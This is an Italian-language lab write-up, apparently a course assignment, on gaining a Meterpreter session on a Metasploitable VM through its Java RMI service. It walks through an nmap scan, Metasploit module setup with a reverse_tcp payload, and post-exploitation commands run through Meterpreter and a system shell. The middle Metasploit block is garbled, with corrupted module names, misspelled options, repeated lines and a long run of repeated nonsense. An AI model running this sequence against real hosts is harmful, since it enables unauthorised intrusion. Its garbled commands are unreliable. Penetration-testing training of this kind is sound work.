Creazione sessione Meterpreter

Dopo aver settato gli indirizzi e le configurazioni di Kali e Metaspotable secondo la consegna, provvediamo a entrare in msfconsole nel terminale di Kali e facciamo una scansione mirata con nmap per verificare che la porta del servizio Java-rmi sia aperta e quindi vulnerabile.

```
-(kali⊕kali)-[~]
_$ msfconsole
Metasploit tip: Use the analyze command to suggest runnable modules for
           dB '
    dB'dB'dB' dBBP
                                dBP BB
  dB'dB'dB' dBP
dB'dB'dB' dBBBBP
                              dBBBBBBB
                                               dBBBBBb dBP
                                                                dBBBBP dBP dBBBBBBP
                                                   dB' dBP
                                                              dB' .BP
                                                             dB' BP dBP
                                                                            dBP
                                                            dB' BP dBP
                                                                           dBP
                                                    dBBBBP dBBBBP dBP
        0
                             To boldly go where no
                             shell has gone before
       =[ metasploit v6.4.50-dev
  -- --=[ 2495 exploits - 1283 auxiliary - 393 post
-- --=[ 1607 payloads - 49 encoders - 13 nops
     --=[ 9 evasion
Metasploit Documentation: https://docs.metasploit.com/
msf6 > nmap -sV -p 1099 192.168.11.112
exec: nmap -sV -p 1099 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 06:58 EDT
Nmap scan report for 192.168.11.112
Host is up (0.00039s latency).
         STATE SERVICE VERSION
1099/tcp open java-rmi GNU Classpath grmiregistry
MAC Address: 08:00:27:EA:D5:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.78 seconds
msf6 >
```

Per mandare avanti il nostro exploit con successo, cerchiamo tra I moduli di msfconsole quello più indicato, che nel nostro caso è Java-rmi con il comando search java-rmi. Una volta trovato il modulo per l'exploit che ci serve usiamo il comando use seguito dal percorso dell'exploit, e usiamo show option per vedere quali parametri inserire o modificare.

Da questo risultato, notiamo che manca l'indirizzo IP della macchina target e lo impostiamo con il comando set, e impostiamo anche il payload con quello suggerito di default. Controlliamo che tutti I parametri siano impostati correttamente, e possiamo lanciare l'exploit.

```
sefs exploit(miliphiz/pho_mi_strve) > set RMOSTS 192.168.11.112
masse exploit(miliphiz/pho_mi_strve) > set PAVLOAD java/meterpreter/reverse_tcp
PAVLOAD = java/meterpreter/reverse_tcp
masse exploit(miliphiz/pho_mi_strve) > show options
Module options (exploit/miliphiz/pho_mi_strve) > show options
Module options (exploit/miliphiz/pho_mi_strve) > show options

Module options (exploit/miliphiz/pho_mi_strve) > show options

Module options (exploit/miliphiz/pho_mi_strve) > show options

Module options (exploit/miliphiz/pho_mi_strve) > show options

Module options (exploit/miliphiz/pho_mi_strve) > show options

Module options (pay_metasploit/miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/pho_miliphiz/ph
```

Siamo riusciti ad entrare nella nostra macchina vittima e creare la nostra shell avanzata con la sessione Meterpreter. Adesso estrapoliamo con il comando ifconfig le configurazione di rete e con il comando route le informazioni sulla tabella di routing della macchina vittima.

```
meterpreter > ifconfig
Interface 1
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
Interface 2
Name : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:feea:d525
IPv6 Netmask : ::
meterpreter > route
IPv4 network routes
   Subnet
                  Netmask
                                 Gateway Metric Interface
   127.0.0.1 255.0.0.0 0.0.0.0
   192.168.11.112 255.255.255.0 0.0.0.0
IPv6 network routes
                            Netmask Gateway Metric Interface
   Subnet
    fe80::a00:27ff:feea:d525
```

Oppure possiamo migrare in una shell e inserire il comando ip route per avere una shell diretta del sistema remoto.

```
meterpreter > shell
Process 1 created.
Channel 1 created.
ip route
192.168.11.0/24 dev eth0 proto kernel scope link src 192.168.11.112
default via 192.168.11.1 dev eth0 metric 100
```